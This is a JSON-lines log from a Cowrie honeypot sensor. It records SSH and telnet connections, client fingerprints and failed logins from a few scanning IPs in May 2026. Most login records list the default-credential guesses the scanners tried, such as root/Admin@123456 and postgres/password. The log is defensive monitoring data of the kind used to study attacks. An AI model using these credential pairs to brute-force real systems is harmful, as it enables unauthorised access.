{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.248749Z","src_ip":"94.159.98.239","session":"bb2d48084104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"088f2ffdf94d","protocol":"telnet","message":"New connection: 50.6.8.71:59554 (10.17.0.5:23) [session: 088f2ffdf94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.341928Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ccb05891c66","protocol":"ssh","message":"New connection: 192.109.200.237:46076 (159.203.135.109:22) [session: 8ccb05891c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.594064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.598409Z","src_ip":"192.109.200.237","session":"8ccb05891c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333444","message":"login attempt [root/333444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.625061Z","src_ip":"94.159.98.239","session":"bb2d48084104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.682691Z","src_ip":"192.109.200.237","session":"8ccb05891c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.930335Z","src_ip":"192.109.200.237","session":"8ccb05891c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:23.763785Z","src_ip":"94.159.98.239","session":"bb2d48084104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:24.030724Z","src_ip":"192.109.200.237","session":"8ccb05891c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46086,"dst_ip":"159.203.135.109","dst_port":22,"session":"a214a4a3bded","protocol":"ssh","message":"New connection: 192.109.200.237:46086 (159.203.135.109:22) [session: a214a4a3bded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:26.059751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:26.063498Z","src_ip":"192.109.200.237","session":"a214a4a3bded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:26.145006Z","src_ip":"192.109.200.237","session":"a214a4a3bded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:26.389480Z","src_ip":"192.109.200.237","session":"a214a4a3bded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57450,"dst_ip":"10.17.0.5","dst_port":23,"session":"36d461216d4d","protocol":"telnet","message":"New connection: 50.6.8.71:57450 (10.17.0.5:23) [session: 36d461216d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:26.513311Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:27.474283Z","src_ip":"192.109.200.237","session":"a214a4a3bded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57456,"dst_ip":"10.17.0.5","dst_port":23,"session":"663992717a92","protocol":"telnet","message":"New connection: 50.6.8.71:57456 (10.17.0.5:23) [session: 663992717a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:28.166228Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46102,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf1c8ef6a61","protocol":"ssh","message":"New connection: 192.109.200.237:46102 (159.203.135.109:22) [session: 0cf1c8ef6a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:29.588368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:29.592552Z","src_ip":"192.109.200.237","session":"0cf1c8ef6a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:29.675614Z","src_ip":"192.109.200.237","session":"0cf1c8ef6a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:29.923363Z","src_ip":"192.109.200.237","session":"0cf1c8ef6a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:31.008558Z","src_ip":"192.109.200.237","session":"0cf1c8ef6a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56644,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca40ad9cc66a","protocol":"ssh","message":"New connection: 192.109.200.237:56644 (159.203.135.109:22) [session: ca40ad9cc66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:33.065198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:33.069903Z","src_ip":"192.109.200.237","session":"ca40ad9cc66a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:33.156293Z","src_ip":"192.109.200.237","session":"ca40ad9cc66a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:33.403872Z","src_ip":"192.109.200.237","session":"ca40ad9cc66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:34.488833Z","src_ip":"192.109.200.237","session":"ca40ad9cc66a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56652,"dst_ip":"159.203.135.109","dst_port":22,"session":"261d4d2196cd","protocol":"ssh","message":"New connection: 192.109.200.237:56652 (159.203.135.109:22) [session: 261d4d2196cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:36.568435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:36.572548Z","src_ip":"192.109.200.237","session":"261d4d2196cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:36.654690Z","src_ip":"192.109.200.237","session":"261d4d2196cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:36.900846Z","src_ip":"192.109.200.237","session":"261d4d2196cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:38.091673Z","src_ip":"192.109.200.237","session":"261d4d2196cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56658,"dst_ip":"159.203.135.109","dst_port":22,"session":"b80ab62a8e41","protocol":"ssh","message":"New connection: 192.109.200.237:56658 (159.203.135.109:22) [session: b80ab62a8e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:39.973605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:39.978780Z","src_ip":"192.109.200.237","session":"b80ab62a8e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:40.064752Z","src_ip":"192.109.200.237","session":"b80ab62a8e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:40.312763Z","src_ip":"192.109.200.237","session":"b80ab62a8e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:41.397110Z","src_ip":"192.109.200.237","session":"b80ab62a8e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43934,"dst_ip":"10.17.0.5","dst_port":23,"session":"5445eb771d70","protocol":"telnet","message":"New connection: 50.6.8.71:43934 (10.17.0.5:23) [session: 5445eb771d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:41.456617Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51544,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7e5cb9911ab","protocol":"ssh","message":"New connection: 192.109.200.237:51544 (159.203.135.109:22) [session: c7e5cb9911ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:43.516455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:43.520846Z","src_ip":"192.109.200.237","session":"c7e5cb9911ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:43.602685Z","src_ip":"192.109.200.237","session":"c7e5cb9911ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:43.849574Z","src_ip":"192.109.200.237","session":"c7e5cb9911ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:44.936453Z","src_ip":"192.109.200.237","session":"c7e5cb9911ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51560,"dst_ip":"159.203.135.109","dst_port":22,"session":"79ebe8e704bb","protocol":"ssh","message":"New connection: 192.109.200.237:51560 (159.203.135.109:22) [session: 79ebe8e704bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:47.009437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:47.014466Z","src_ip":"192.109.200.237","session":"79ebe8e704bb","protocol":"ssh"}
